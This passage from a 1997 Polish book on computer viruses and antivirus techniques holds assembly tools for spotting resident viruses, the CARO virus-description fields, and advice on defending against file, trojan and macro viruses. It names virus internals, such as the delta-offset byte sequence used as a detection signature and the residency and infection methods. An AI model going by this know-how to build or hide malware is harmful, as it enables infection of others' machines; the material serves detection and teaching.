lea dx,NoweInt13h ; DS:DX wskazuje na nowa procedure
mov ax,2513h ; funkcja DOS - ustaw nowa INT 13
int 21h ; wywolaj funkcje

mov dx,DlugoscKoduTSR ; ile kodu zostanie jako TSR
mov ah,31h ; funkcja DOS - koncz i zostaw TSR
int 21h ; wywolaj funkcje

Deinstal:
lea si,TeOdinstalowany ; \ pokaz info o deinstalacji
Call Print ; /

mov ax, 4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje

Print proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI

push ax ; \ zachowaj zmieniane rejestry
push si ; /

GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz PrintExit ; tak=koniec napisu; wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak

PrintExit:
pop si ; \ przywroc zmieniane rejestry
pop ax ; /

ret ; powrot z procedury

Print endp

PrintChar proc near ; procedura wyswietla znak w AL

push ax ; zachowaj zmieniany rejestr

mov ah,0Eh ; funkcja BIOS

background image

int 10h ; wyswietl znak w AL

pop ax ; przywroc zmieniany rejestr

ret ; powrot z procedury

PrintChar endp

TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997'
TeCRLF db CR,LF,NUL
TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL
TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL

ANTYTRAC ENDS ; koniec segmentu kodu i danych
END Start ; koniec programu, pierwsza instrukcja
; pod etykieta Start

12.8. Pobieranie wielkości pamięci operacyjnej
Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez
modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów
poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na
porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na
cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten
wyświetla na ekranie.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; MEM640 v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb ;
; Wielkosc pamieci jest pobierana kilkoma metodami ;
; Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa ;
; rezydetnego (gdy odczytane dlugosci pamieci beda rozne) ;
; ;
;----------------------------------------------------------------------------;

PROG SEGMENT
ORG 100h
ASSUME CS:PROG, DS:PROG

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /

background image

;-----------------------------------------------------------------------------
Start:
lea si,TeCopyRight ; SI=ofset do info o programie
Call DrukLn ; wyswietl info o programie

Call Pokaz_CMOS ; ile zapisane w CMOS
call Pokaz_ZmiennaBIOS ; ile w komorce 0000:0413
call Pokaz_Int12 ; ile zwraca INT 12
Call Pokaz_MCB ; ile z sumy MCB

mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje

;-----------------------------------------------------------------------------
Pokaz_CMOS:
push ax dx si ; zachowaj zmieniane rejestry

lea si,TeCMOS ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci

mov al,16h ; \ wez z CMOS starsza czesc
Call WezCMOS ; / rozmiaru pamieci

mov ah,al ; i przepisz do AH

mov al,15h ; \ wez z CMOS starsza czesc
Call WezCMOS ; / rozmiaru pamieci
; AX= rozmiar w CMOS w kilobajtach

mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /

Call DrukDec32 ; wyswietl ile bajtow

pop si dx ax ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------
WezCMOS:
out 70h,al ; zapisz do portu CMOS,
; ktora komorke czytac
jmp $+2 ; czekaj

in al,71h ; czytaj z CMOS

background image

ret ; powrot

;-----------------------------------------------------------------------------
Pokaz_Int12:
push ax dx si ; zachowaj zmieniane rejestry

lea si,TeInt12 ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci

int 12h ; przerwanie BIOS - dostepna pamiec
; AX=rozmiar pamieci w kilobajtach

mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /

call DrukDec32 ; wyswietl ile bajtow

pop dx ax si ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------
Pokaz_ZmiennaBIOS:
push es ax dx si ; zachowaj zmieniane rejestry

lea si,TeZmiennaBIOS ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci

xor ax,ax ; czytaj zmienna BIOS 0000:0413
mov es,ax ; ES=0000
mov ax,es:[413h] ; AX=0000:0413= rozmiar pamieci
; w kilobajtach

mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /

Call DrukDec32 ; wyswietl ile bajtow

pop si dx ax es ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------
Pokaz_MCB:
push es ax bx cx dx ; zachowaj zmieniane rejestry

lea si,TeMCB ; \ wyswietl info skad czytany

background image

Call Druk ; / rozmiar pamieci

mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje

push ax ; zachowaj informacje na pozniej

mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki UMB
int 21h ; wywolaj funkcje

mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje

xor cx,cx ; CX=0 - UMB nieobecne w systemie

or al,al ; 01=jezeli UMB sa dolaczone
jz UMB_NieDolaczone ; 00=jezeli UMB nie sa dolaczone

inc cx ; CX=1 - UMB obecne w systemie

mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
xor bx,bx ; odlacz bloki UMB
int 21h ; wywolaj funkcje

UMB_NieDolaczone:

mov ah,52h ; funkcja DOS - wez adres listy list LL
int 21h ; wywolaj funkcje

mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB

NastepnyMCB: ; kolejne bloki MCB

cmp ax,0A000h ; czy >640kB ?
jae Tylko640 ; TAK - pomin

mov es,ax ; ES=MCB
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[3] ; dodaj rozmiar bloku MCB+1
; AX=nastepny blok MCB

cmp byte ptr es:[0],'Z' ; czy to ostatni blok MCB ?
jne NastepnyMCB ; NIE - dodaj koleny blok
; TAK - wyswietl sume
Tylko640:
add ax,cx ; dodaj ewentualny blok MCB

background image

; opisujacy bloki MCB w pamieci UMB

; AX=pamiec w paragrafach
mov bx,16 ; \
mul bx ; / oblicz ile bajtow

call DrukDec32 ; wyswietl ile bajtow

pop bx ; przywroc info o UMB

mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje

pop dx cx bx ax es ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------
DrukDec32: ; wyswietl liczbe w DX:AX
push ax bx dx si ; zachowaj zmieniane rejestry

mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca
mov byte ptr [si],0 ; utworz ASCIIZ dodaj zero na koncu

DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w BX reszta z dzielenia

add bl,'0' ; dodaj ASCII "0"

dec si ; zmniejsz index w tablicy

mov byte ptr ds:[si],bl ; zapisz cyfre

or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest juz rowna 0
; NIE - dziel dalej
call DrukLn ; TAK - wyswietl bufor

pop si dx bx ax ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------

background image

Dziel32: ; dziel (DX:AX)/BX
push bp ; zachowaj BP

push ax ; zachowac mniejsza czesc liczby 32 bitowej

mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj DX, DX:AX = > 0:DX

div bx ; podziel (0:DX)/BX

mov bp,ax ; calosc z dzielenia to wieksza czesc wyniku

pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku

div bx ; DX jest reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w BX reszta z dzielenia

mov dx,bp ; DX:AX=liczba podzielona przez BX,
; a w BX reszta z dzielenia
pop bp ; przywroc zmieniany rejestr

ret ; powrot

;-----------------------------------------------------------------------------
DrukLn:
push si ; zachowaj zmieniany rejestr

call Druk ; wyswietl tekst z CS:SI

lea si,TeCRLF ; \ i przejdz do nastepnej linii
Call Druk ; /

pop si ; przywroc zmieniany rejestr

ret ; powrot

;-----------------------------------------------------------------------------
Druk:
push ax si ; zachowaj zmieniane rejestry

DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak tekstu
or al,al ; czy NUL ?

jz DrukPowrot ; TAK - koniec tekstu

background image

mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje

jmp short DrukPetla ; pobierz kolejny znak tekstu

DrukPowrot:
pop si ax ; przywroc zmieniane rejestry

ret ; powrot

TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Wielkosc pamieci w bajtach :',NUL
TeCMOS db ' _ CMOS : ',NUL
TeInt12 db ' _ INT 12 : ',NUL
TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412 : ',NUL
TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL
TeCRLF db CR,LF,NUL
Hex2DecBufor db 11 dup(?) ; bufor na liczbe dzisietna

PROG ENDS

END Start

ROZDZIAŁ 13

CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą
autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia
sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla
własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów,
zwanej CaroBase.
Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i
etykiety:
CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania
itd.
CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest
to angielski (English).
CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu
rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa).
CAROBASE_END: kończy ostatni rekord opisu.

Możliwe rekordy zawierające opis to:
NAME: nazwa w standardzie CARO.
ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste
pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję
nazwy.

background image

NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli
istniały).
LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa.
TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to:
COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu.
EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM).
.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE,
rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2
bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR -
zaraża pliki nakładkowe.
NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi
infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new
executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR -
zaraża przy użyciu JAP.
MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory
dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe
BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB.
COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie
plików wykorzystywanych przez wirusa, np. EXE/COM).
OTHER - wirus infekuje inny obiekt, nie opisany powyżej.
RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci;
możliwe wartości to:
NONE - to nie jest wirus rezydentny.
PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę.
IVT - wirus rezyduje w tablicy przerwań.
FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a.
BUFFER - wirus rezyduje w obszarze buforów DOS.
LOW - wirus rezyduje jak zwykły TSR.
TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci.
TwixtAny - wirus zmniejsza rozmiar aktualnego MCB.
TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu
(tzn. MCB ma znacznik Z).
NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku
nowy MCB z przepisaniem znacznika z aktualnego bloku.
NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy
MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M.
UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB).
HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16).
TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci
widzianej przez BIOS (zmienna 0040:0013).
UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden
sposób nie chroni.
VIDEO - wirus rezyduje w pamięci ekranu.
EXT - wirus rezyduje w pamięci XMS.
EXP - wirus rezyduje w pamięci EMS.
AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca
tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS.

background image

OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki.
Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem
MCB.
MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach,
kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu).
STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K),
jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu);
w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić
w długości wirusa.
WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami).

Dla plików są możliwe:
OVERWRITES - wirus nadpisuje i w efekcie niszczy plik.
PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu
(przesuwa oryginalny kod do przodu).
MOVE - wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu.
APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku.
EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na
podstawie nagłówka).
EOFILE - wirus dopisuje się na końcu pliku.
HEADER - wirus instaluje się w nagłówku pliku EXE.
SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku.
DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer).
RANDOM - plik doczepia się w przypadkowym miejscu pliku.
SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP.
COMPANION - wirus jest typu towarzyszącego.
OTHER - wirus używa innej techniki, nie opisanej powyżej.

Dla sektorów możliwe są:
AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss.
AT_LSN nn - w logicznym sektorze nn.
AT_CN nn - w JAP numer nn.
TRACK nn - na dodatkowej ścieżce nn.
BAD - w jednostce JAP oznaczonej jako zła.

STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa;
możliwe są dwa kluczowe słowa:
NONE - wirus nie używa techniki stealth.
DRIVER - wirus instaluje się jako sterownik.

POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa
kluczowe, możliwe są:
NONE - wirus nie używa procedur szyfrujących.
CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera.
VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera.
WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera,
możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi.

background image

POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera;
liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza
najbardziej zaawansowany polimorfizm.
ENTRY - wirus ukrywa miejsce wejścia do kodu.
SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu.
OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej.

ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to:
NONE - wirus nie stosuje żadnych metod.
CODE - wirus stosuje sztuczki antydeasemblerowe.
CRYPT - wirus stosuje kilkustopniowe szyfrowanie.
TRACE - wirus wyłącza przerwania INT l i INT 3.
KBD - wirus wyłącza klawiaturę podczas uruchamiania.
SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze.
INT1 - wirus używa INT 1, INT3 - wirus używa INT 3.
PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę
rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera.
OTHER - wirus używa innej techniki, nie opisanej powyżej.

TUNNELLING: określa, czy wirus używa tunelingu.
NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany
program TSR.
HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania
21h.
DRIVER - wirus używa procedur obsługi sterowników.
SECTOR - wirus używa INT 13h przy dostępie do dysku.
HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania
INT 13h.
BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków.
HARDWARE - wirus używa dostępu do dysku poprzez porty.
OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej.

W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody
wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to:
TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do
przerwania.
2F - wirus używa funkcji (13/2F).
TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do
przerwania.
SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla
danego przerwania.
OTHER - inna metoda.

INFECTIVITY:
O - to nie jest wirus.
1 - wirus, który dość wolno się rozpowszechnia.
2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego.

background image

3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden
plik po uruchomieniu.
4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko
przy uruchomieniu ofiary.
5 - szybki infektor.
6 - odpowada szybkości romnażania się wirusów zarażających MBR.
7 - bardzo szybki infektor.

OBVIOUSNESS:
określa, jak łatwo wirus jest zauważalny przez użytkownika.
EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia.
QUITE - wirus zawiera ładunek dość łatwy do zauważenia.
SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia.
NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu
(najczęściej antywirusowego).

COMMONNESS:
rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji).
0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia.
1 - bardzo słabo znany.
2 - słabo znany (kilka zgłoszeń).
3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów).
4 - znany na całym świecie.
5 - bardzo znany.
6 - bardzo znany w przeszłości.

COMMONNESS_DATE:
określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-
mm-dd.
TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący.
T_DAMAGE TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.
PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus.
P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.
SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa.
INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary
> 100 bajtów).
MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych
przez wirusa; liczby podane jako HEX.
SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już
zainstalowany w pamięci.
SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest
zainfekowany.
LIMITATIONS: określa ograniczenia wirusa (hardware, software).

background image

COMMENTS: komentarz na temat wirusa.
ANALYSIS_BY: określa, kto analizował wirusa.
DOCUMENTATION_BY: opisuje, kto sporządził dokumentację.
ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma
format: rrrr-mm-dd.
LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio
modyfikowana; data ma format: rrrr-mm-dd.
SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny.
END: oznacza koniec opisu wirusa.

ROZDZIAŁ 14

Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych
plików (programów, dokumentów) możliwie najnowszym programem antywirusowym
(jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań
zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających
najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom
może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to
nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w
pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest
trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem,
część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską
ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość
wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku
zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co
więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu.
Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla
wybranych obiektów, metod.

14.1. Ochrona przed wirusami plików uruchamialnych
Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo
pobieżnie zanalizować przy użyciu debuggera.
Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu
rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi
infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska,
jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć
nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład
wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie
na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem
uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa.
Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w
nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego).
; Sekwencja znajduj╣ca siÛ na pocz╣tku wiÛkszo£ci wirus¾w plikowych
CALL TRIK ; wywo│anie procedury TRIK umie£ci na stosie offset do
; nastÛpuj╣cej po niej instrukcji (POP REJ16)
TRIK:

background image

POP REJ16 ; zdejmuje ze stosu offset, pod kt¾rym jest umieszczony
; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym,

; najczÛ£ciej w kt¾rym£ z : SI, DI, BP, BX

SUB REJ16,???? ; ???? najczÛ£ciej =3, po tej operacji warto£µ REJ16
; bÛdzie ofsetem wskazuj╣cym na pocz╣tek kodu wirusa,
; warto£µ 3 wynika z d│ugo£ci rozkazu CALL TRIK, czyli
; (OE8h 00h 00h)
Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6.
Sekwencje dla różnych kombinacji rejestru REJ16
Rejestr 16-bitowy

Sekwencja bajtów

Kod po deasemblacji

AX

E8 00 00
58
2D 03 00

CALL TRIK
TRIK: POP AX
SUB AX,3

CX

E8 00 00
59
83 E9 03

CALL TRIK
TRIK: POP CX
SUB CX,3

BX

E8 00 00
5B
83 EB 03

CALL TRIK
TRIK: POP BX
SUB BX,3

DX

E8 00 00
5A
83 EA 03

CALL TRIK
TRIK: POP DX
SUB DX,3

BP

E8 00 00
5D
83 ED 03

CALL TRIK
TRIK: POP BP
SUB BP,3

SI

E8 00 00
5E
83 EE 03

CALL TRIK
TRIK: POP SI
SUB SI,3

DI

E8 00 00
5F
83 EF 03

CALL TRIK
TRIK: POP DI
SUB DI,3

14.2. Ochrona przed bombami logicznymi i końmi trojańskimi
Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie
trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być
umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie
jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z
pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na
wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji
kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach
szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub
26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów,
które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu
użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na
sektorach, a najniższy poziom, na jakim działają, to operacje na plikach.
Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych
programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z

background image

nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed
większością koni trojańskich i bomb, może być zainstalowanie monitora
antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów,
którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego
poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i
kontrolowane przez monitor.

14.3. Ochrona przed makrowirusami
Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach
DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę
zainfekowania systemu:
> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego
makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane
podczas uruchamiania Worda):
SUB MAIN
DisableAutoMacros 1
END SUB
> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację
z parametrem /m (WINWORD.EXE /M);
> podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje
zablokowanie automatycznego makra AutoOpen;
> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli
zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych
nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą
opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też
NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika
chcącego użyć tych funkcji);
> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego,
lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ,
PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne.
Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego.

ROZDZIAŁ 15

1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992.
2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym
MS-DOS Wydawnictwo PLJ, Warszawa 1993.
3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne,
Warszawa 1990.
4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus,
Warszawa 1992.
5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika),
Wydawnictwa Naukowo-Techniczne, Warszawa 1992.
6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991-

background image

7. Piotr Metzger Anatomia PC Helion, Gliwice 1993.
8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i
expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994,
9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w
pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995.
10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993.
11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994.
12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993.
13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1.
14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989,
15. Marek Sell Help do programu MKS_Vir.
16. Phalcon/Skism: 40HEX (issues 1-14).
17. VLAD: VLAD (issues 1-7).
